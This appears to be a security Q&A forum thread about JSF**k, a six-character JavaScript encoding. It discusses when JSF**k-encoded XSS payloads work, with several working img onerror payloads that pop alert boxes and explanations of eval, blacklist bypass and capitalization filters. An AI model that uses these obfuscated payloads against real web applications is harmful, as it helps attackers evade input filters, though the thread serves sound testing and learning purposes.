13

I was reading about JSf**k. From their website:

JSF**k is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

My question is: When exactly can we use such a payload to exploit an XSS vulnerability? I tried the following simple HTML code to test it:

<html>
<img src=1 onerror="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]" >
</html>

I've just replaced the alert(1) with the corresponding plain text JSF**k code. However, the browser does not seem to render the payload. When I'm type the payload in Chrome's console, it is rendered as a string "alert(1)" but does not work in the above HTML code. I guess that has to do something with how a browser renders these payloads (I'm not fully aware of how/when exactly a browser renders various types of payloads).

I would like to understand the scenarios where such payloads can be useful while testing a web application.


UPDATE: As mentioned in the answer, the method works when using eval source instead of normal alert(1) string. My question is, why do I need an eval source? AFAIK, the browser should execute the string passed to the onerror attribute as JavaScript.

5
  • 1
    the obvious scenario is when the server inspects strings for blacklisted strings like alert
    – schroeder
    Jun 15, 2015 at 18:43
  • True. But can it be used as "alternate" to the blacklisted strings? Because when I tried, browser does not seem to render it as "alert(1)". Jun 15, 2015 at 18:45
  • in your example, it only triggers 'onerror' perhaps you need to use a different event ...
    – schroeder
    Jun 15, 2015 at 18:51
  • As mentioned in the answer below, the method works when using eval source instead of normal alert(1) string. My question is, why do I need an eval source? The browser should execute the string passed to the onerror attribute as javascript, right? Jun 16, 2015 at 18:12
  • JSF*** is useful when the vulnerable page capitalizes the payload before writing it to the page. Characters like []()+! can't be capitalized, so JSF*** is useful.
    – Aaron Esau
    Jan 21, 2017 at 21:40

4 Answers 4

9

This works for me:

<html>
<img src=1 onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+[]]]+(+!![])+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+!![]]])()" >
<html>

See the fiddle http://jsfiddle.net/34jz07ae/

Taken straight from http://jscrew.it/

The JSF*** code should work too at least in Chrome if you choose the right parameters. Note that you need to generate executable code with Eval Source, not just a string.

2
  • Exactly! The point is, why do I need an eval source? The browser should execute the string passed to the onerror attribute as javascript, right? Jun 16, 2015 at 18:06
  • 1
    Actually only JavaScript code gets executed, that's why alert(1) will produce an alert but "alert(1)" will not. Now, the value of the onerror attribute is parsed in HTML as a string, an that string is expected to contain executable JavaScript code, not a just a JavaScript string (or an expression evaluating to a string).
    – Pasty
    Jun 16, 2015 at 20:43
6

An obvious scenario, as @schroeder pointed out in one of the comments, is when the server inspects strings for blacklisted strings like alert(1). Apart from that, in order for the payload to work, the application must meet the following conditions:

  • There should be no restriction on the input length (as you can see, the payload can be enormous length).
  • The application must not JavaScript encode any of these characters: ! ( ) + [ ].
  • The payload must be evaluated (unless the user input is being directly fed into an eval() function). The reason why you need this is because of the way such esoteric subsets work.

So how and why does JSF**k works? The complete concept has been wonderfully explained on this page:

It works because every JavaScript program can be written as a string that gets evaluated. For example, this normal JavaScript code:

alert("Hello, world!")

can be written as

Function('alert("Hello, world!")')

So, basically, JSF##k allows you to write any JavaScript code as a string, which need to be evaluated for the execution. For the example mentioned in the question, the browser treats the alert(1) in the onerror event handler as a valid JavaScript function, however, its JSF##k equivalent is going to be a string which then needs to be evaluated.

1

This work correctly for me (the comments indicate what we are generating line-by-line):

<img src="x" onerror="([] [(              // [].
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
 )]
[                                         // .
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
]) (

    ([![]]+[]) [+!+[]]+                   //  false[1]  = a
    ([![]]+[]) [!+[]+!+[]]+               //  false[2]  = l
    ([![]]+[]) [!+[]+!+[]+!+[]+!+[]]+     //  false[4]  = e
    ([!![]]+[]) [++[ [] ] [+[]]]+         //  true[1]   = r
    ([!![]]+[]) [[]*[]] +                 //  true[0]   = t

                                          // (
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] +
                                          // 0
    [] * [] +
                                          // )
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
)();                                      // (\"alert(0)\")();">

If you need more reference about the syntax, I have wrote a post about these types of XSS (alphanumeric javascript coding) that can help you: http://deftcode.ninja/post/non-alphanumeric-javascript-coding/

0
0

Updated Answer:

You need the eval to convert you coded javascript to string because otherwise the browser could not take it in consideration as an instruction.

When you look at the code used on http://www.jsfuck.com/ the "run function" use eval no matter what

$("run").onclick = function(){
  value = eval($("output").value);

  if (!$("eval").checked){
    alert('"' + value + '"');
  }
  return false;
};

Other interesting links:

Decode JSFuck

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.